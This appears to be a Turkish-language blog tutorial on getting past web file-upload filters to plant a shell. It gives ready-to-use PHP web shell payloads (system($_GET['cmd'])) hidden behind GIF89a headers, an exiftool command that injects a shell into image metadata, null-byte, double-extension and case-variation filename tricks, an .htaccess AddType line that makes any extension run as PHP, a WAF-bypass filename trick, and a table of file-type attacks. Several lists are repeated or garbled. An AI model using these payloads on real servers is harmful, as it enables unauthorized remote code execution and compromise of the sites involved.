Rahmân ve Rahîm olan ALLAH'ın adıyla
Dosya Yükleme Filtrelemeyi Atla
Kabuk kazanmanın yaygın yollarından biri aslında bir güvenlik açığı değil, bir özelliktir! Çoğu zaman dosyaları web sunucusuna yüklemek mümkündür. Bu, yalnızca bir ters kabuk yükleyerek kötüye kullanılabilir. Kabuk yükleme yeteneği, genellikle kötü amaçlı olabilecek dosyaları filtrelemeye çalışan filtreler tarafından engellenir. Yani atlamamız gereken şey bu.
1-
Yeniden adlandır
Kabuğumuzu yeniden adlandırabilir ve shell.php.jpg olarak yükleyebiliriz. Filtreyi geçti ve dosya php olarak yürütüldü.
php phtml, .php, .php3, .php4, .php5, and .inc
asp asp, .aspx
perl .pl, .pm, .cgi, .lib
jsp .jsp, .jspx, .jsw, .jsv, and .jspf
Coldfusion .cfm, .cfml, .cfc, .dbm
2-
GIF89a;
İçeriği kontrol ederlerse. Temel olarak "GIF89a;" metnini eklemeniz yeterlidir. kabuk kodundan önce. Yani şöyle bir şeye benzeyecek:
GIF89a; <? system($_GET['cmd']);//or you can insert your complete shell code ?>
3-
Resimde
exiftool -Comment='<?php echo "<pre>"; system($_GET['cmd']); ?>' murphyy.jpg
Exiftool, exif verilerini görüntülemek ve işlemek için harika bir araçtır. Sonra dosyayı yeniden adlandırmak zorunda kaldım
mv murphyy.jpg murphyy.php.jpg
4-
NULLBYTE
file.php%00.png
file.php\x00.png
file.php%0a.png
file.php%0d%0a.png
flile.phpJunk123png
5-
İçerik/tür Doğrulamayı Atlama
1. İstek Modifikasyonunu kullanarak İçerik Türünü değiştirin.
2. GIF89a kullanarak Sunucu tarafını kontrol edin; başlık
3. Yükünüzü Görüntü Meta Verileri/Yorumlarına enjekte edin
- İstek Modifikasyonunu kullanarak İçerik Türünü değiştirin.
Geliştirici çoğu zaman "content-Type" isteğine güvenir, yükleme komut
dosyası içerik türünü kontrol eder ve Görüntü türü ise yalnızca dosya
yüklenir. Buradaki sorun yine içerik-Türü değişkeninin sunucuya
ulaşmadan değiştirilebilmesidir. Resimde de görebileceğiniz gibi içerik
türü "application/octet-stream", onu "image/gif" olarak değiştirin ve
işinize yarayacağını umuyoruz.
- GIF89a kullanarak Fool Sunucu tarafı kontrolü; başlık
Bazen sunucu tarafı içerik imzası denetimi "GIF89a" kullanılarak aldatılabilir; kabuğunuzdaki başlık. İşte bir örnek:
GIF89a;
<?
system($_GET['cmd']);//veya tam shell kodunuzu ekleyebilirsiniz
?>
- Yükünüzü Görüntü Meta Verilerine/Yorumlara enjekte edin
Resim dosyamızla yapabileceğimiz bir çok hack var, bunlardan bazıları yükü metadata başlığına exiftools kullanarak enjekte ediyor ya da "edjpgcom.exe" adlı bir araç kullanabilirsiniz. Resminize yorum eklemek için "edjpgcom.exe resimdosyadin.jpg" komut satırını kullanın.
6-
- Uzantı Kara Listesini Atlama
Bazı zamanlarda geliştiriciler, kabuk yüklemeye karşı kara liste yaklaşımını kullanırlar, Kara liste uygulamasıyla ilgili sorun her zaman aynıdır, bu da her zaman bir şeyi engellemeyi unutursunuz veya yeni bir baypas güvenliğinizi bozabilir. Burada da aynı, diyelim ki bir geliştirici php dosyalarının sunucu üzerinden yüklenmesini filtreliyorsa. Bunu atlatmanın birkaç yolu var.
- 1. Diğer yürütülebilir uzantıları deneyin.
- 2. Büyük/Küçük Harfe Duyarlı Filtreyi Atlayın.
- 3. Aptalca Regex filtre baypası.
- 4. .htaccess dosyasını kullanarak yürütülebilir dosyaya kabuk ekleyin.
- Diğer yürütülebilir uzantıları deneyin.
İlk olarak, geliştiricinin unutmuş olabileceği birden fazla php uzantımız var, böylece dosyamızı yeniden adlandırabiliriz.
shell.php1
shell.php2
shell.php2
shell.php4
shell.php5
shell.phtml
shell.php2
shell.php2
shell.php4
shell.php5
shell.phtml
Hatta bir .pl veya .cgi uzantısıyla Perl kabuğunu çalıştırmayı deneyebiliriz.
7-
- Büyük/Küçük Harfe Duyarlı Filtreyi Atla.
Hepsi güzel bir şekilde kara listeye alınmışsa, filtrenin büyük/küçük harfe duyarlı olup olmadığını görmek için büyük/küçük harf değiştirmeyi deneyebiliriz, basit bir deyişle şunu deneyin:
shell.PhP
shell.Php1
shell.PhP2
shell.pHP2
shell.pHp4
shell.PHp5
shell.PhtMl
shell.Php1
shell.PhP2
shell.pHP2
shell.pHp4
shell.PHp5
shell.PhtMl
8-
- Aptalca Regex filtre baypası.
Çok az kez normal ifade kullanarak bir dosya genişletme denetimiyle karşılaşabilirsiniz, bu tür durumlar normal ifade hatasına neden olabilir. Burada programcı, dosya adında yalnızca ".jpg" varlığını kontrol eden kötü bir normal ifade yapmış olabilir, bu nedenle bu tür durumlar, shell.jpg.php ve benzeri gibi çift uzantı kullanılarak atlanabilir.
9-
- .htaccess dosyasını kullanarak yürütülebilir dosyaya kabuk ekleyin.
Ama eğer şanssızsak ve yukarıdaki tüm uzantılar çalışmıyorsa, o zaman .htaccess dosyasını kullanarak web sitesi üzerinden bir kabuk elde etmek için hala bir şansımız var.
Bir htaccess dosyası, Apache sunucusundaki yapılandırma dosyasıdır. Ayarlarından birini kullanarak dosya türü davranışını değiştirebiliriz. Şimdi kara listeye alınmamış bir dosya uzantısı seçelim, bu gibi durumlarda favorilerimden biri .shell uzantısıdır. İşte bir .htaccess dosyasında başa çıkmanız ve ardından klasöre yüklemeniz ve ardından php kabuğunuzu shell.shell ve boom adıyla yüklemeniz gereken bir htaccess yapılandırması! yürütecek.
AddType application/x-httpd-php .shell
10-
- Uzantı Beyaz Listesini Atlama
Bazı durumlarda geliştiriciler uzantı beyaz listesini kullanmışlardır, bu tür güvenliği atlamak genellikle web sunucusu veya Dil tabanlı atlamalardır. Bu, geliştiricinin bir resim yükleme işlevi olduğunu söyleyelim, bu nedenle yalnızca jpg,jpeg,gif,png,bmp vb. gibi bazı beyaz listeli uzantılar dışında başka bir uzantıya izin vermediği bir durumdur. Aşağıdaki hileleri deneyebiliriz:
- Çift Uzantıyı Kullanarak Atlama
Bu gibi durumlarda shell.php.jpg, shell.php:.jpg, shell.php;.jpg kullanabiliriz, bazen kabuk yürütmeye neden olabilir, ancak genellikle bir web sunucusu veya işletim sistemi tabanlı bypass. Dolayısıyla bu gibi durumlarda programcıyı gerçekten suçlayamayız. Ancak dosya adlarını değiştirmeden bırakmak kötü bir programlama uygulamasıdır.
11-
Dosya yüklemeden yararlanma sırasında WAF atlama🔥
/?file=rce.php <-- Engellendi/?file=rce.php.jpg <-- Engellendi
/?file=rce.php5 <-- Engellendi
/?file===rce.php <-- atlandı 200 OK
/?file=rce.php5 <-- Engellendi
/?file===rce.php <-- atlandı 200 OK
dosya adını ==dosyaadi.php şeklinde kaydetme iki tane eşittir işareti ile
ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
SVG: Stored XSS / SSRF / XXE
GIF: Stored XSS / SSRF
CSV: CSV injection
XML: XXE
AVI: LFI / SSRF
HTML / JS : HTML injection / XSS / Open redirect
PNG / JPEG: Pixel flood attack (DoS)
ZIP: RCE via LFI / DoS
PDF / PPTX: SSRF / BLIND XXE
Yorum yaptığın için teşekkürler